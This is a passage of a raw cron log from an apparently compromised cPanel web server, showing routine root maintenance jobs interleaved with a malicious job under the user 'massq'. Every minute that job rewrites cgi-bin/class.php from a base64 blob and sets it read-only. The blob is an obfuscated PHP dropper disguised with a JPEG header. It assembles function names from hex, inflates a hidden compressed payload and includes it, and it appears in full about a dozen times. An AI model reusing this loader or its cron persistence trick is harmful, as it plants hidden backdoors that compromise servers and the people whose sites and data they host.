cvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:01:01 server CROND[14391]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 05:01:01 server run-parts(/etc/cron.hourly)[14391]: starting 0anacron
Aug 31 05:01:01 server run-parts(/etc/cron.hourly)[14406]: finished 0anacron
Aug 31 05:02:01 server CROND[14884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:02:01 server CROND[14885]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:02:01 server CROND[14893]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:03:01 server CROND[15272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:03:01 server CROND[15273]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:03:01 server CROND[15274]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:04:01 server CROND[15649]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:04:01 server CROND[15650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:04:01 server CROND[15651]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:05:01 server CROND[16044]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 05:05:01 server CROND[16046]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Aug 31 05:05:01 server CROND[16047]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 05:05:01 server CROND[16050]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:05:01 server CROND[16049]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 05:05:01 server CROND[16051]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:05:01 server CROND[16054]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 05:05:01 server CROND[16053]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:05:01 server CROND[16052]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 05:06:01 server CROND[17073]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:06:01 server CROND[17074]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:06:01 server CROND[17075]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:07:01 server CROND[17470]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:07:01 server CROND[17471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:07:01 server CROND[17472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:08:01 server CROND[17852]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:08:01 server CROND[17853]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:08:01 server CROND[17855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:09:01 server CROND[18237]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 05:09:01 server CROND[18238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:09:01 server CROND[18239]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:09:01 server CROND[18240]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:10:01 server CROND[18630]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 05:10:01 server CROND[18632]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 05:10:01 server CROND[18635]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 05:10:01 server CROND[18638]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:10:01 server CROND[18637]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 05:10:01 server CROND[18640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:10:01 server CROND[18639]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 05:10:01 server CROND[18641]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:11:01 server CROND[19560]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:11:01 server CROND[19561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:11:01 server CROND[19562]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:12:01 server CROND[19943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:12:01 server CROND[19944]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:12:01 server CROND[19946]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 05:12:01 server CROND[19945]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:13:01 server CROND[20337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:13:01 server CROND[20338]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 05:13:01 server CROND[20339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
